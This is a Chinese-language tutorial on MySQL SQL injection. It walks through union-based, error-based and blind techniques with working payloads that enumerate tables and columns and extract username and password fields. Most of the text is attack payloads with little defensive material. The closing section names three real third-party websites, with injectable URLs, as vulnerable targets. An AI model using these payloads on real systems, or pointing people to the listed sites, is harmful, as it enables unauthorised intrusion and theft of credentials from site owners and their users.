mysql injection

0x00 mysql union injection

- 判断注入点(数字型)

```
www.site.com/xxx.php?id=1
www.site.com/xxx.php?id=1' ->不正常，可能存在注入
```

- 确定注入点

```
www.site.com/xxx.php?id=1 and 1=1 ->正常
www.site.com/xxx.php?id=1 and 1=2 ->页面异常
到此确认该注入点存在
```

- 确定列数

```
www.site.com/xxx.php?id=1 order by 1 ->正常
www.site.com/xxx.php?id=1 order by 2 ->正常
.
.
.
www.site.com/xxx.php?id=1 order by 6  ->正常
www.site.com/xxx.php?id=1 order by 7 ->错误
则查询的列数为6（实际列数看情况，可能是10,20，30或者其他的）
```

- 确定 union 查询是否可用

```
www.site.com/xxx.php?id=1 and 1=2 union select 1,2,3,4,5,6
```

如果页面有回显1,2,3,4,5,6中的任意一个，则可以用union查询，这里假设回显的数字为1

- 确定mysql的版本

```
www.site.com/xxx.php?id=1  and 1=2 union select version(),2,3,4,5,6
```

如果mysql的版本是5.0以上则可以查询information_schema数据库来注入，如果版本低于5.0，则只能用暴力猜解的方式

- mysql5.0以上版本注入方法

1.获取当前数据库中的表

```
www.site.com/xxx.php?id=1 and 1=2 union select group_concat(table_name)
from information_schema.tables where table_schema=database()
```

2.获取某张表中的列

```
www.site.com/xxx.php?id=1 and 1=2 union select group_concat(column_name)
from information_schema.columns where table_name=0x75736572 <表名的16进制（此处为user）>
```

假设有**user**，pass，id三个字段

3.获取数据

```
www.site.com/xxx.php?id=1 and 1=2 union select
1,concat(user,0x3a,pass,0x3a,id),3,4,5,6 from user
```

- 字符型注入

```
www.site.com/xxx.php?city=nanjing' and '1'='1  ->正常
www.site.com/xxx.php?city=nanjing' and '1'='2  ->页面异常
```

存在注入，以下步骤同数字型注入相似

0x01 mysql error-based injection

- 原理

此种注入使用union查询没有回显数据，在有报错的情况下利用报错信息来获取数据，利用思路为:
当**group by**的字段不一样而查询的结果已有一个，如查询 **count()**,**sum()**等时会报错误"Duplicate entry xxxx for key 'group_key'"

- 利用例句

```
select count(*),CONCAT(version(),0x3a,ROUND(RAND()*2))a from
information_schema.TABLES GROUP BY a
```

或者

```
select sum(version),CONCAT(version(),0x3a,ROUND(RAND()*2))a from
information_schema.TABLES GROUP BY a
```

(0x3a是分隔符:)会报如下的错误，就能拿到我们想要的信息了

```
[Err] 1062 - Duplicate entry '5.5.28:2' for key 'group_key'
```

一条完整的句子为:

```
www.site.com/xxx.php?id=1 and (select 1 from (payload)b) {payload为上面提
到的利用例句}
```

获取当前数据库表名的语句:

```
www.site.com/xxx.php?id=1 and (select 1 from (select
sum(version),CONCAT((select table_name from information_schema.tables
where table_schema=database() limit 0,1),0x3a,ROUND(RAND()*2))a from
information_schema.TABLES GROUP BY a)b)
```

0x02 mysql blind injection

- 原理

此种注入既不报错，**union**查询也不回显，那么只能通过页面的不同返回情况来注入

- 利用思路

充分利用数据库本身提供的函数，如 :ascii() substr() **if**（）

例如，获取当前数据库名第一位的一种payload

```
select ascii(substr(database(),1,1)) from information_schema.tables
limit 0,1
```

继续利用

```
www.site.com/xxx.php?id=1  and (select if((payload)>99,1,0))  -> 返回正确
www.site.com/xxx.php?id=1  and (select if((payload)>100,1,0))  -> 返回正确
www.site.com/xxx.php?id=1  and (select if((payload)>101,1,0))  -> 返回错误
```

则数据库第一位为 e（对应的ascii为101）

照此可以拿到所有想要的信息

0x03 mysql sql injection cheat sheet

- 一篇不错的总结

0x04 几个有漏洞的站点

```
http://www.burkemarine.com.au/category.php?cat_id=1
http://www.cideko.com/pro_con.php?id=3
http://www.vinayras.com/spider/diff.php?idd=518
```